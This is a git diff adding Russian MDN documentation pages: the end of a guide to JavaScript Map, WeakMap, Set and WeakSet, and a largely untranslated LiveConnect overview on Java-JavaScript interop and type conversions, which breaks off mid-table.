+<p>Больше примеров и полное описание на странице справочника {{jsxref("Map")}} .</p>
+
+<h3 id="Тип_WeakMap"><code>Тип WeakMap</code> </h3>
+
+<p>{{jsxref("WeakMap")}} это специальный вид словаря, <strong>ключами которого могут быть только объекты</strong>, причём ссылки на них в WeakMap являются  <em>слабыми </em>(не учитываются  сборщиком мусора (garbage collector GC)).</p>
+
+<div class="note">
+<p>Интерфейс <code>WeakMap</code> совпадает с <code>Map</code>, единственное отличие - <strong>ключи <code>WeakMap</code> нельзя итерировать</strong> (т.e. нельзя получить список ключей). Это понятно, поскольку в таком случае возникла бы неопределённость с достоверностью этого списка в зависимости от состояния garbage collection.</p>
+</div>
+
+<p>Больше примеров, полное описание, а также обсуждение "Зачем <s>козе баян</s> <em>WeakMap</em>?"  на странице справочника {{jsxref("WeakMap")}}.</p>
+
+<p>Отметим, что <code>WeakMap,</code> в частности, может элегантно использоваться для упаковки приватных данных или деталей реализации. Следующий пример из статьи Nick Fitzgerald <a href="http://fitzgeraldnick.com/weblog/53/">"Hiding Implementation Details with ECMAScript 6 WeakMaps"</a>. Приватная часть сохраняется как значение в <code>privates</code> и имеет время жизни такое же как и сущность класса. Сам класс и его методы публичны; прочее недоступно извне модуля:</p>
+
+<pre class="brush: js">const privates = new WeakMap();
+
+export class Public() {
+
+  constructor() {
+    const me = {
+    // Приватные данные идут здесь
+    };
+    // 'me' будет освобождён вместе с 'this' !!!
+    privates.set(this, me);
+  }
+
+  method () {
+    const me = privates.get(this);
+    // Сделайте что-нибудь с приватными данными в 'me'...
+  }
+}
+</pre>
+
+<h2 id="Коллекции">Коллекции</h2>
+
+<h3 id="Тип_Set"><code>Тип Set</code> </h3>
+
+<p>{{jsxref("Set")}} реализация коллекции - структура данных, которая содержит список уникальных элементов в порядке их добавления. </p>
+
+<p>В следующем примере приведены основные операции по работе с коллекцией <code>Set:</code></p>
+
+<pre class="brush: js">var mySet = new Set();
+mySet.add(1);
+mySet.add("some text");
+mySet.add("foo");
+
+mySet.has(1); // true
+mySet.delete("foo");
+mySet.size; // 2
+
+for (let item of mySet) console.log(item);
+// 1
+// "some text"
+</pre>
+
+<p>Больше примеров и полное описание на странице справочника {{jsxref("Set")}}</p>
+
+<h4 id="Преобразования_между_Array_и_Set">Преобразования между Array и Set</h4>
+
+<p>Можно создать {{jsxref("Array")}} из Set с помощью {{jsxref("Array.from")}} или используя <a href="/en-US/docs/Web/JavaScript/Reference/Operators/Spread_operator">spread operator</a>.</p>
+
+<p>В свою очередь, конструктор <code>Set</code> может принимать <code>Array</code> в качестве аргумента.</p>
+
+<div class="note">
+<p>Поскольку <code>Set</code> структура работает с уникальными значениями, любые повторяющиеся элементы из Array будут проигнорированы.</p>
+</div>
+
+<pre class="brush: js">Array.from(mySet);
+[...mySet2];
+
+mySet2 = new Set([1,2,3,4]);
+</pre>
+
+<h4 id="Сравнение_Array_и_Set"><code>Сравнение Array</code> и <code>Set</code> </h4>
+
+<p>Словари, как специализированная структура данных, имеют существенные отличия по сравнению с массивами:</p>
+
+<ul>
+ <li>{{jsxref("Set.has")}} работает быстрее чем {{jsxref("Array.indexOf")}}.</li>
+ <li><font face="Consolas, Liberation Mono, Courier, monospace">можно удалять элементы по значению (а не по индексу как массивах)</font>.</li>
+ <li>{{jsxref("NaN")}} обрабатывается корректно.</li>
+ <li><font face="Consolas, Liberation Mono, Courier, monospace">поддерживается уникальность значений</font>.</li>
+</ul>
+
+<h3 id="Тип_WeakSet"><code>Тип WeakSet</code> </h3>
+
+<p>{{jsxref("WeakSet")}} это специальный вид коллекции, элементами которой могут быть только объекты. Ссылки на эти объекты в WeakSet являютя <em>слабыми </em>(не учитываются  сборщиком мусора (garbage collector GC)).</p>
+
+<div class="note">
+<p>Элементы <code>WeakSet</code> уникальны и могут быть добавлены только один раз, также как и в {{jsxref("Set")}}. </p>
+</div>
+
+<p>Основные отличия от {{jsxref("Set")}}:</p>
+
+<ul>
+ <li><code>WeakSet</code> это коллекция <em>объектов</em> ( примитивные значения не могут быть добавлены).</li>
+ <li><code>WeakSet</code> <em>нельзя итерировать</em>. А также нельзя получить список (итератор) элементов.</li>
+</ul>
+
+<p>Использование <code>WeakSet</code> достаточно специфическое. Пользуясь тем, что они не могут создавать утечек памяти, в них можно, например, безопасно помещать ссылки на DOM элементы.</p>
+
+<p>Больше примеров и полное описание на странице справочника {{jsxref("WeakSet")}}</p>
+
+<h2 id="Проверка_на_равенство_в_Map_и_Set">Проверка на равенство в <code>Map</code> и <code>Set</code></h2>
+
+<p>Сравнение на равенство ключей в <code>Map</code> objects или объектов в <code>Set</code> основано на "<a href="https://people.mozilla.org/~jorendorff/es6-draft.html#sec-samevaluezero">same-value-zero algorithm</a>":</p>
+
+<ul>
+ <li>алгоритм сравнения в целом совпадает с оператором <code>===</code>.</li>
+ <li><code>-0</code> и <code>+0</code> считаются равными (в отличие от <code>===</code>).</li>
+ <li>{{jsxref("NaN")}} считается равным самому себе (в отличие от <code>===</code>).</li>
+</ul>
+
+<p>{{PreviousNext("Web/JavaScript/Guide/Indexed_Collections", "Web/JavaScript/Guide/Working_with_Objects")}}</p>
diff --git a/files/ru/web/javascript/guide/liveconnect_overview/index.html b/files/ru/web/javascript/guide/liveconnect_overview/index.html
new file mode 100644
index 0000000000..baf6f2577c
--- /dev/null
+++ b/files/ru/web/javascript/guide/liveconnect_overview/index.html
@@ -0,0 +1,795 @@
+---
+title: LiveConnect Overview
+slug: Web/JavaScript/Guide/LiveConnect_Overview
+translation_of: Archive/Web/LiveConnect/LiveConnect_Overview
+---
+<p>Эта глава описывает технолонию <a href="/en-US/docs/LiveConnect" title="en-US/docs/LiveConnect">LiveConnect</a> которая позволяет Java и JavaScript взаимодейстовать между собой. В этой главе полагается что вы имеет представление о языке программирования Java.</p>
+
+<h2 id="Working_with_Wrappers">Working with Wrappers</h2>
+
+<p>В JavaScript, <em>обертка </em>это объект s an object of the target language data type that encloses an object of the source language. When programming in JavaScript, you can use a wrapper object to access methods and fields of the Java object; calling a method or accessing a property on the wrapper results in a call on the Java object. On the Java side, JavaScript objects are wrapped in an instance of the class <code>netscape.javascript.JSObject</code> and passed to Java.</p>
+
+<p>When a JavaScript object is sent to Java, the runtime engine creates a Java wrapper of type <code>JSObject</code>; when a <code>JSObject</code> is sent from Java to JavaScript, the runtime engine unwraps it to its original JavaScript object type. The <code>JSObject</code> class provides an interface for invoking JavaScript methods and examining JavaScript properties.</p>
+
+<h2 id="JavaScript_to_Java_Communication">JavaScript to Java Communication</h2>
+
+<p>When you refer to a Java package or class, or work with a Java object or array, you use one of the special LiveConnect objects. All JavaScript access to Java takes place with these objects, which are summarized in the following table.</p>
+
+<table class="standard-table">
+ <caption>Table 9.1 The LiveConnect Objects</caption>
+ <thead>
+  <tr>
+   <th scope="col">Object</th>
+   <th scope="col">Description</th>
+  </tr>
+ </thead>
+ <tbody>
+  <tr>
+   <td><code>JavaArray</code></td>
+   <td>A wrapped Java array, accessed from within JavaScript code.</td>
+  </tr>
+  <tr>
+   <td><code>JavaClass</code></td>
+   <td>A JavaScript reference to a Java class.</td>
+  </tr>
+  <tr>
+   <td><code>JavaObject</code></td>
+   <td>A wrapped Java object, accessed from within JavaScript code.</td>
+  </tr>
+  <tr>
+   <td><code>JavaPackage</code></td>
+   <td>A JavaScript reference to a Java package.</td>
+  </tr>
+ </tbody>
+</table>
+
+<p><strong>Note:</strong> Because Java is a strongly typed language and JavaScript is weakly typed, the JavaScript runtime engine converts argument values into the appropriate data types for the other language when you use LiveConnect. See <a href="/en-US/docs/JavaScript/Guide/Values,_Variables,_and_Literals#Data_Type_Conversion" title="en-US/docs/JavaScript/Guide/Values, Variables, and Literals#Data Type Conversion">Data Type Conversion</a> for complete information.</p>
+
+<p>In some ways, the existence of the LiveConnect objects is transparent, because you interact with Java in a fairly intuitive way. For example, you can create a Java <code>String</code> object and assign it to the JavaScript variable <code>myString</code> by using the <code>new</code> operator with the Java constructor, as follows:</p>
+
+<pre class="brush: js">var myString = new java.lang.String("Hello world");
+</pre>
+
+<p>In the previous example, the variable <code>myString</code> is a <code>JavaObject</code> because it holds an instance of the Java object <code>String</code>. As a <code>JavaObject</code>, <code>myString</code> has access to the public instance methods of <code>java.lang.String</code> and its superclass, <code>java.lang.Object</code>. These Java methods are available in JavaScript as methods of the <code>JavaObject</code>, and you can call them as follows:</p>
+
+<pre class="brush: js">myString.length(); // returns 11
+</pre>
+
+<p>Static members can be called directly on the JavaClass object.</p>
+
+<pre class="brush: js">alert(java.lang.Integer.MAX_VALUE); //alerts 2147483647
+</pre>
+
+<h3 id="The_Packages_Object">The Packages Object</h3>
+
+<p>If a Java class is not part of the <code>java</code>, <code>sun</code>, or <code>netscape</code> packages, you access it with the <code>Packages</code> object. For example, suppose the Redwood corporation uses a Java package called <code>redwood</code> to contain various Java classes that it implements. To create an instance of the <code>HelloWorld</code> class in <code>redwood</code>, you access the constructor of the class as follows:</p>
+
+<pre class="brush: js">var red = new Packages.redwood.HelloWorld();
+</pre>
+
+<p>You can also access classes in the default package (that is, classes that don't explicitly name a package). For example, if the HelloWorld class is directly in the <code>CLASSPATH</code> and not in a package, you can access it as follows:</p>
+
+<pre class="brush: js">var red = new Packages.HelloWorld();
+</pre>
+
+<p>The LiveConnect <code>java</code>, <code>sun</code>, and <code>netscape</code> objects provide shortcuts for commonly used Java packages. For example, you can use the following:</p>
+
+<pre class="brush: js">var myString = new java.lang.String("Hello world");
+</pre>
+
+<p>instead of the longer version:</p>
+
+<pre class="brush: js">var myString = new Packages.java.lang.String("Hello world");
+</pre>
+
+<h3 id="Working_with_Java_Arrays">Working with Java Arrays</h3>
+
+<p>When any Java method creates an array and you reference that array in JavaScript, you are working with a <code>JavaArray</code>. For example, the following code creates the <code>JavaArray x</code> with ten elements of type int:</p>
+
+<pre class="brush: js">var x = java.lang.reflect.Array.newInstance(java.lang.Integer, 10);
+</pre>
+
+<p>Like the JavaScript <code>Array</code> object, <code>JavaArray</code> has a <code>length</code> property which returns the number of elements in the array. Unlike <code>Array.length</code>, <code>JavaArray.length</code> is a read-only property, because the number of elements in a Java array are fixed at the time of creation.</p>
+
+<h3 id="Package_and_Class_References">Package and Class References</h3>
+
+<p>Simple references to Java packages and classes from JavaScript create the <code>JavaPackage</code> and <code>JavaClass</code> objects. In the earlier example about the Redwood corporation, for example, the reference Packages.redwood is a JavaPackage object. Similarly, a reference such as <code>java.lang.String</code> is a <code>JavaClass</code> object.</p>
+
+<p>Most of the time, you don't have to worry about the <code>JavaPackage</code> and <code>JavaClass</code> objects—you just work with Java packages and classes, and LiveConnect creates these objects transparently. There are cases where LiveConnect will fail to load a class, and you will need to manually load it like this:</p>
+
+<pre class="brush: js">var Widgetry = java.lang.Thread.currentThread().getContextClassLoader().loadClass("org.mywidgets.Widgetry");
+</pre>
+
+<p>In JavaScript 1.3 and earlier, <code>JavaClass</code> objects are not automatically converted to instances of <code>java.lang.Class</code> when you pass them as parameters to Java methods—you must create a wrapper around an instance of <code>java.lang.Class</code>. In the following example, the <code>forName</code> method creates a wrapper object <code>theClass</code>, which is then passed to the <code>newInstance</code> method to create an array.</p>
+
+<pre class="brush: js">// JavaScript 1.3
+var theClass = java.lang.Class.forName("java.lang.String");
+var theArray = java.lang.reflect.Array.newInstance(theClass, 5);
+</pre>
+
+<p>In JavaScript 1.4 and later, you can pass a <code>JavaClass</code> object directly to a method, as shown in the following example:</p>
+
+<pre class="brush: js">// JavaScript 1.4
+var theArray = java.lang.reflect.Array.newInstance(java.lang.String, 5);
+</pre>
+
+<h3 id="Arguments_of_Type_char">Arguments of Type char</h3>
+
+<p>In JavaScript 1.4 and later, you can pass a one-character string to a Java method which requires an argument of type <code>char</code>. For example, you can pass the string "H" to the <code>Character</code> constructor as follows:</p>
+
+<pre class="brush: js">var c = new java.lang.Character("H");
+</pre>
+
+<p>In JavaScript 1.3 and earlier, you must pass such methods an integer which corresponds to the Unicode value of the character. For example, the following code also assigns the value "H" to the variable <code>c</code>:</p>
+
+<pre class="brush: js">var c = new java.lang.Character(72);
+</pre>
+
+<h3 id="Handling_Java_Exceptions_in_JavaScript">Handling Java Exceptions in JavaScript</h3>
+
+<p>When Java code fails at run time, it throws an exception. If your JavaScript code accesses a Java data member or method and fails, the Java exception is passed on to JavaScript for you to handle. Beginning with JavaScript 1.4, you can catch this exception in a <code>try...catch</code> statement. (Although this functionality (along with some others) had been broken in Gecko 1.9 (see {{ bug("391642") }}) as the Mozilla-specific LiveConnect code had not been maintained inside Mozilla, with Java 6 update 11 and 12 building support for reliance on Mozilla's implementation of the generic (and cross-browser) <a href="/en-US/docs/Plugins" title="en-US/docs/Plugins">NPAPI</a> plugin code, this has again been fixed.)</p>
+
+<p>For example, suppose you are using the Java <code>forName</code> method to assign the name of a Java class to a variable called <code>theClass</code>. The <code>forName</code> method throws an exception if the value you pass it does not evaluate to the name of a Java class. Place the <code>forName</code> assignment statement in a <code>try</code> block to handle the exception, as follows:</p>
+
+<pre class="brush: js">function getClass(javaClassName) {
+   try {
+      var theClass = java.lang.Class.forName(javaClassName);
+   } catch (e) {
+      return ("The Java exception is " + e);
+   }
+   return theClass;
+}
+</pre>
+
+<p>In this example, if <code>javaClassName</code> evaluates to a legal class name, such as "java.lang.String", the assignment succeeds. If <code>javaClassName</code> evaluates to an invalid class name, such as "String", the <code>getClass</code> function catches the exception and returns something similar to the following:</p>
+
+<pre>The Java exception is java.lang.ClassNotFoundException: String
+</pre>
+
+<p>For specialized handling based on the exception type, use the <code>instanceof</code> operator:</p>
+
+<pre class="brush: js">try {
+  // ...
+} catch (e) {
+  if (e instanceof java.io.FileNotFound) {
+     // handling for FileNotFound
+  } else {
+    throw e;
+  }
+}
+</pre>
+
+<p>See <a href="/en-US/docs/JavaScript/Guide/Statements#Exception_Handling_Statements" title="en-US/docs/JavaScript/Guide/Statements#Exception Handling Statements">Exception Handling Statements</a> for more information about JavaScript exceptions.</p>
+
+<h2 id="Java_to_JavaScript_Communication">Java to JavaScript Communication</h2>
+
+<p>If you want to use JavaScript objects in Java, you must import the <code>netscape.javascript</code> package into your Java file. This package defines the following classes:</p>
+
+<ul>
+ <li><code><a href="/en-US/docs/JavaScript/Reference/LiveConnect/JSObject" title="en-US/docs/JavaScript/Reference/LiveConnect/JSObject">netscape.javascript.JSObject</a></code> allows Java code to access JavaScript methods and properties.</li>
+ <li><code><a href="/en-US/docs/JavaScript/Reference/LiveConnect/JSException" title="en-US/docs/JavaScript/Reference/LiveConnect/JSException">netscape.javascript.JSException</a></code> allows Java code to handle JavaScript errors.</li>
+</ul>
+
+<p>See the <a href="/en-US/docs/JavaScript/Reference" title="en-US/docs/JavaScript/Reference">JavaScript Reference</a> for more information about these classes.</p>
+
+<h3 id="Locating_the_LiveConnect_classes" name="Locating_the_LiveConnect_classes">Locating the LiveConnect classes</h3>
+
+<p>In older versions of the Netscape browser, these classes were distributed along with the browser. Starting with JavaScript 1.2, these classes are delivered in a .jar file; in previous versions of JavaScript, these classes are delivered in a .zip file. For example, with Netscape Navigator 4 for Windows NT, the classes are delivered in the <code>java40.jar</code> file in the <code>Program\Java\Classes</code> directory beneath the Navigator directory.</p>
+
+<p>More recently, the classes have been distributed with Sun's Java Runtime; initially in the file "jaws.jar" in the "jre/lib" directory of the runtime distribution (for JRE 1.3), then in "plugin.jar" in the same location (JRE 1.4 and up).</p>
+
+<h3 id="Using_the_LiveConnect_classes_with_the_JDK" name="Using_the_LiveConnect_classes_with_the_JDK">Using the LiveConnect classes with the JDK</h3>
+
+<p>To access the LiveConnect classes, place the .jar or .zip file in the <code>CLASSPATH</code> of the JDK compiler in either of the following ways:</p>
+
+<ul>
+ <li>Create a <code>CLASSPATH</code> environment variable to specify the path and name of .jar or .zip file.</li>
+ <li>Specify the location of .jar or .zip file when you compile by using the <code>-classpath</code> command line parameter.</li>
+</ul>
+
+<p>You can specify an environment variable in Windows NT by double-clicking the System icon in the Control Panel and creating a user environment variable called <code>CLASSPATH</code> with a value similar to the following:</p>
+
+<pre class="eval">C:\Program Files\Java\jre1.4.1\lib\plugin.jar
+</pre>
+
+<p>See the Sun JDK documentation for more information about <code>CLASSPATH</code>.</p>
+
+<p><strong>Note:</strong> Because Java is a strongly typed language and JavaScript is weakly typed, the JavaScript runtime engine converts argument values into the appropriate data types for the other language when you use LiveConnect. See <a href="#Data_Type_Conversions">Data Type Conversions</a> for complete information.</p>
+
+<h3 id="Using_the_LiveConnect_Classes">Using the LiveConnect Classes</h3>
+
+<p>All JavaScript objects appear within Java code as instances of <code>netscape.javascript.JSObject</code>. When you call a method in your Java code, you can pass it a JavaScript object as one of its argument. To do so, you must define the corresponding formal parameter of the method to be of type <code>JSObject</code>.</p>
+
+<p>Also, any time you use JavaScript objects in your Java code, you should put the call to the JavaScript object inside a <code>try...catch</code> statement which handles exceptions of type <code>netscape.javascript.JSException</code>. This allows your Java code to handle errors in JavaScript code execution which appear in Java as exceptions of type <code>JSException</code>.</p>
+
+<h4 id="Accessing_JavaScript_with_JSObject" name="Accessing_JavaScript_with_JSObject">Accessing JavaScript with JSObject</h4>
+
+<p>For example, suppose you are working with the Java class called <code>JavaDog</code>. As shown in the following code, the <code>JavaDog</code> constructor takes the JavaScript object <code>jsDog</code>, which is defined as type <code>JSObject</code>, as an argument:</p>
+
+<pre class="brush: java">import netscape.javascript.*;
+
+public class JavaDog{
+    public String dogBreed;
+    public String dogColor;
+    public String dogSex;
+
+    // define the class constructor
+    public JavaDog(JSObject jsDog){
+        // use try...catch to handle JSExceptions here
+        this.dogBreed = (String)jsDog.getMember("breed");
+        this.dogColor = (String)jsDog.getMember("color");
+        this.dogSex = (String)jsDog.getMember("sex");
+    }
+}
+</pre>
+
+<p>Notice that the <code>getMember</code> method of <code>JSObject</code> is used to access the properties of the JavaScript object. The previous example uses <code>getMember</code> to assign the value of the JavaScript property <code>jsDog.breed</code> to the Java data member <code>JavaDog.dogBreed</code>.</p>
+
+<p><strong>Note:</strong> A more realistic example would place the call to <code>getMember</code> inside a <code>try...catch</code> statement to handle errors of type <code>JSException</code>. See Handling JavaScript Exceptions in Java for more information.</p>
+
+<p>To get a better sense of how <code>getMember</code> works, look at the definition of the custom JavaScript object <code>Dog</code>:</p>
+
+<pre class="brush: js">function Dog(breed,color,sex){
+   this.breed = breed;
+   this.color = color;
+   this.sex = sex;
+}
+</pre>
+
+<p>You can create a JavaScript instance of <code>Dog</code> called <code>gabby</code> as follows:</p>
+
+<pre class="brush: js">var gabby = new Dog("lab", "chocolate", "female");
+</pre>
+
+<p>If you evaluate <code>gabby.color</code>, you can see that it has the value "chocolate". Now suppose you create an instance of <code>JavaDog</code> in your JavaScript code by passing the <code>gabby</code> object to the constructor as follows:</p>
+
+<pre class="brush: js">var javaDog = new Packages.JavaDog(gabby);
+</pre>
+
+<p>If you evaluate <code>javaDog.dogColor</code>, you can see that it also has the value "chocolate", because the <code>getMember</code> method in the Java constructor assigns <code>dogColor</code> the value of <code>gabby.color</code>.</p>
+
+<h4 id="Handling_JavaScript_Exceptions_in_Java" name="Handling_JavaScript_Exceptions_in_Java">Handling JavaScript Exceptions in Java</h4>
+
+<p>When JavaScript code called from Java fails at run time, it throws an exception. If you are calling the JavaScript code from Java, you can catch this exception in a <code>try...catch</code> statement. The JavaScript exception is available to your Java code as an instance of <code>netscape.javascript.JSException</code>.</p>
+
+<p><code>JSException</code> is a Java wrapper around any exception type thrown by JavaScript, similar to the way that instances of <code>JSObject</code> are wrappers for JavaScript objects. Use <code>JSException</code> when you are evaluating JavaScript code in Java.</p>
+
+<p>When you are evaluating JavaScript code in Java, the following situations can cause run-time errors:</p>
+
+<ul>
+ <li>The JavaScript code is not evaluated, either due to a JavaScript compilation error or to some other error that occurred at run time. The JavaScript interpreter generates an error message that is converted into an instance of <code>JSException</code>.</li>
+ <li>Java successfully evaluates the JavaScript code, but the JavaScript code executes an unhandled <code>throw</code> statement. JavaScript throws an exception that is wrapped as an instance of <code>JSException</code>. Use the <code>getWrappedException</code> method of <code>JSException</code> to unwrap this exception in Java.</li>
+</ul>
+
+<p>For example, suppose the Java object <code>eTest</code> evaluates the string <code>jsCode</code> that you pass to it. You can respond to either type of run-time error the evaluation causes by implementing an exception handler such as the following:</p>
+
+<pre class="brush: java">import netscape.javascript.JSObject;
+import netscape.javascript.JSException;
+
+public class eTest {
+    public static Object doit(JSObject obj, String jsCode) {
+        try {
+            obj.eval(jsCode);
+        } catch (JSException e) {
+            if (e.getWrappedException() == null)
+                return e;
+            return e.getWrappedException();
+        }
+        return null;
+    }
+}
+</pre>
+
+<p>In this example, the code in the <code>try</code> block attempts to evaluate the string <code>jsCode</code> that you pass to it. Let's say you pass the string "<code>myFunction()</code>" as the value of <code>jsCode</code>. If <code>myFunction</code> is not defined as a JavaScript function, the JavaScript interpreter cannot evaluate <code>jsCode</code>. The interpreter generates an error message, the Java handler catches the message, and the <code>doit</code> method returns an instance of <code>netscape.javascript.JSException</code>.</p>
+
+<p>However, suppose <code>myFunction</code> is defined in JavaScript as follows:</p>
+
+<pre class="brush: js">function myFunction() {
+   try {
+      if (theCondition == true) {
+         return "Everything's ok";
+      } else {
+         throw "JavaScript error occurred";
+      }
+   } catch (e) {
+      if (canHandle == true) {
+         handleIt();
+      } else {
+         throw e;
+      }
+   }
+}
+</pre>
+
+<p>If <code>theCondition</code> is false, the function throws an exception. The exception is caught in the JavaScript code, and if <code>canHandle</code> is true, JavaScript handles it. If <code>canHandle</code> is false, the exception is rethrown, the Java handler catches it, and the <code>doit</code> method returns a Java string:</p>
+
+<pre>JavaScript error occurred
+</pre>
+
+<p>See <a href="/en-US/docs/JavaScript/Guide/Statements#Exception_Handling_Statements" title="en-US/docs/JavaScript/Guide/Statements#Exception Handling Statements">Exception Handling Statements</a> for complete information about JavaScript exceptions.</p>
+
+<h4 id="Backward_Compatibility" name="Backward_Compatibility">Backward Compatibility</h4>
+
+<p>In JavaScript 1.3 and earlier versions, the <code>JSException</code> class had three public constructors which optionally took a string argument, specifying the detail message or other information for the exception. The <code>getWrappedException</code> method was not available.</p>
+
+<p>Use a <code>try...catch</code> statement such as the following to handle LiveConnect exceptions in JavaScript 1.3 and earlier versions:</p>
+
+<pre class="brush: js">try {
+   global.eval("foo.bar = 999;");
+} catch (Exception e) {
+   if (e instanceof JSException) {
+      jsCodeFailed();
+   } else {
+      otherCodeFailed();
+   }
+}
+</pre>
+
+<p>In this example, the <code>eval</code> statement fails if <code>foo</code> is not defined. The <code>catch</code> block executes the <code>jsCodeFailed</code> method if the <code>eval</code> statement in the <code>try</code> block throws a <code>JSException</code>; the <code>otherCodeFailed</code> method executes if the <code>try</code> block throws any other error.</p>
+
+<h2 id="Data_Type_Conversions">Data Type Conversions</h2>
+
+<p>Because Java is a strongly typed language and JavaScript is weakly typed, the JavaScript runtime engine converts argument values into the appropriate data types for the other language when you use LiveConnect. These conversions are described in the following sections:</p>
+
+<ul>
+ <li><a href="#JavaScript_to_Java_Conversions">JavaScript to Java Conversions</a></li>
+ <li><a href="#Java_to_JavaScript_Conversions">Java to JavaScript Conversions</a></li>
+</ul>
+
+<h3 id="JavaScript_to_Java_Conversions">JavaScript to Java Conversions</h3>
+
+<p>When you call a Java method and pass it parameters from JavaScript, the data types of the parameters you pass in are converted according to the rules described in the following sections:</p>
+
+<ul>
+ <li><a href="#Number_Values">Number Values</a></li>
+ <li><a href="#Boolean_Values">Boolean Values</a></li>
+ <li><a href="#String_Values">String Values</a></li>
+ <li><a href="#Undefined_Values">Undefined Values</a></li>
+ <li><a href="#Null_Values">Null Values</a></li>
+ <li><a href="#JavaArray_and_JavaObject_objects">JavaArray and JavaObject objects</a></li>
+ <li><a href="#JavaClass_objects">JavaClass objects</a></li>
+ <li><a href="#Other_JavaScript_objects">Other JavaScript objects</a></li>
+</ul>
+
+<p>The return values of methods of <code>netscape.javascript.JSObject</code> are always converted to instances of <code>java.lang.Object</code>. The rules for converting these return values are also described in these sections.</p>
+
+<p>For example, if <code>JSObject.eval</code> returns a JavaScript number, you can find the rules for converting this number to an instance of <code>java.lang.Object</code> in <a href="#Number_Values">Number Values</a>.</p>
+
+<h4 id="Number_Values" name="Number_Values">Number Values</h4>
+
+<p>When you pass JavaScript number types as parameters to Java methods, Java converts the values according to the rules described in the following table:</p>
+
+<table class="standard-table">
+ <thead>
+  <tr>
+   <th scope="col">Java parameter type</th>
+   <th scope="col">Conversion rules</th>
+  </tr>
+ </thead>
+ <tbody>
+  <tr>
+   <td>double</td>
+   <td>
+    <ul>
+     <li>The exact value is transferred to Java without rounding and without a loss of magnitude or sign.</li>
+     <li><code>NaN</code> is converted to NaN.</li>
+    </ul>
+   </td>
+  </tr>
+  <tr>
+   <td>java.lang.Double<br>
+    java.lang.Object</td>
+   <td>A new instance of <code>java.lang.Double</code> is created, and the exact value is transferred to Java without rounding and without a loss of magnitude or sign.</td>
+  </tr>
+  <tr>
+   <td>float</td>
+   <td>
+    <ul>
+     <li>Values are rounded to float precision.</li>
+     <li>Values which are too large or small to be represented are rounded to +infinity or -infinity.</li>
+     <li><code>NaN</code> is converted to <code>NaN</code>.</li>
+    </ul>
+   </td>
+  </tr>
+  <tr>
+   <td>byte
+    <p>char<br>
+     int<br>
+     long</p>
+    short</td>
+   <td>
+    <ul>
+     <li>Values are rounded using round-to-negative-infinity mode.</li>
+     <li>Values which are too large or small to be represented result in a run-time error.</li>
+     <li><code>NaN</code> can not be converted and results in a run-time error.</li>
+    </ul>
+   </td>
+  </tr>
+  <tr>
+   <td><code>java.lang.String</code></td>
+   <td>Values are converted to strings. For example:
+    <ul>
+     <li>237 becomes "237"</li>
+    </ul>
+   </td>
+  </tr>
+  <tr>
+   <td>boolean</td>
+   <td>
+    <ul>
+     <li>0 and <code>NaN</code> values are converted to false.</li>
+     <li>Other values are converted to true.</li>
+    </ul>
+   </td>
+  </tr>
+ </tbody>
+</table>
+
+<p>When a JavaScript number is passed as a parameter to a Java method which expects an instance of <code>java.lang.String</code>, the number is converted to a string. Use the <code>equals()</code> method to compare the result of this conversion with other string values.</p>
+
+<h4 id="Boolean_Values" name="Boolean_Values">Boolean Values</h4>
+
+<p>When you pass JavaScript Boolean types as parameters to Java methods, Java converts the values according to the rules described in the following table:</p>
+
+<table class="standard-table">
+ <thead>
+  <tr>
+   <th scope="col">Java parameter type</th>
+   <th scope="col">Conversion rules</th>
+  </tr>
+ </thead>
+ <tbody>
+  <tr>
+   <td>boolean</td>
+   <td>All values are converted directly to the Java equivalents.</td>
+  </tr>
+  <tr>
+   <td><code>java.lang.Boolean</code><br>
+    <code>java.lang.Object</code></td>
+   <td>A new instance of <code>java.lang.Boolean</code> is created. Each parameter creates a new instance, not one instance with the same primitive value.</td>
+  </tr>
+  <tr>
+   <td><code>java.lang.String</code></td>
+   <td>Values are converted to strings. For example:
+    <ul>
+     <li>true becomes "true"</li>
+     <li>false becomes "false"</li>
+    </ul>
+   </td>
+  </tr>
+  <tr>
+   <td>byte
+    <p>char<br>
+     double<br>
+     float<br>
+     int<br>
+     long</p>
+    short</td>
+   <td>
+    <ul>
+     <li>true becomes 1</li>
+     <li>false becomes 0</li>
+    </ul>
+   </td>
+  </tr>
+ </tbody>
+</table>
+
+<p>When a JavaScript Boolean is passed as a parameter to a Java method which expects an instance of <code>java.lang.String</code>, the Boolean is converted to a string. Use the == operator to compare the result of this conversion with other string values.</p>
+
+<h4 id="String_Values" name="String_Values">String Values</h4>
+
+<p>When you pass JavaScript string types as parameters to Java methods, Java converts the values according to the rules described in the following table:</p>
+
+<table class="standard-table">
+ <thead>
+  <tr>
+   <th scope="col">Java parameter type</th>
+   <th scope="col">Conversion rules</th>
+  </tr>
+ </thead>
+ <tbody>
+  <tr>
+   <td><code>java.lang.String</code><br>
+    <code>java.lang.Object</code></td>
+   <td>JavaScript 1.4:
+    <ul>
+     <li>A JavaScript string is converted to an instance of <code>java.lang.String</code> with a Unicode value.</li>
+    </ul>
+
+    <p>JavaScript 1.3 and earlier:</p>
+
+    <ul>
+     <li>A JavaScript string is converted to an instance of <code>java.lang.String</code> with an ASCII value.</li>
+    </ul>
+   </td>
+  </tr>
+  <tr>
+   <td>byte
+    <p>double<br>
+     float<br>
+     int<br>
+     long</p>
+    short</td>
+   <td>All values are converted to numbers as described in ECMA-262. The JavaScript string value is converted to a number according to the rules described in ECMA-262.</td>
+  </tr>
+  <tr>
+   <td>char</td>
+   <td>JavaScript 1.4:
+    <ul>
+     <li>One-character strings are converted to Unicode characters.</li>
+     <li>All other values are converted to numbers.</li>
+    </ul>
+
+    <p>JavaScript 1.3 and earlier:</p>
+
+    <ul>
+     <li>All values are converted to numbers.</li>
+    </ul>
+   </td>
+  </tr>
+  <tr>
+   <td>boolean</td>
+   <td>
+    <ul>
+     <li>The empty string becomes false.</li>
+     <li>All other values become true.</li>
+    </ul>
+   </td>
+  </tr>
+ </tbody>
+</table>
+
+<h4 id="Undefined_Values" name="Undefined_Values">Undefined Values</h4>
+
+<p>When you pass undefined JavaScript values as parameters to Java methods, Java converts the values according to the rules described in the following table:</p>
+
+<table class="standard-table">
+ <thead>
+  <tr>
+   <th scope="col">Java parameter type</th>
+   <th scope="col">Conversion rules</th>
+  </tr>
+ </thead>
+ <tbody>
+  <tr>
+   <td><code>java.lang.String</code><br>
+    <code>java.lang.Object</code></td>
+   <td>The value is converted to an instance of java.lang.String whose value is the string "undefined".</td>
+  </tr>
+  <tr>
+   <td>boolean</td>
+   <td>The value becomes false.</td>
+  </tr>
+  <tr>
+   <td>double<br>
+    float</td>
+   <td>The value becomes <code>NaN</code>.</td>
+  </tr>
+  <tr>
+   <td>byte
+    <p>char<br>
+     int<br>
+     long</p>
+    short</td>
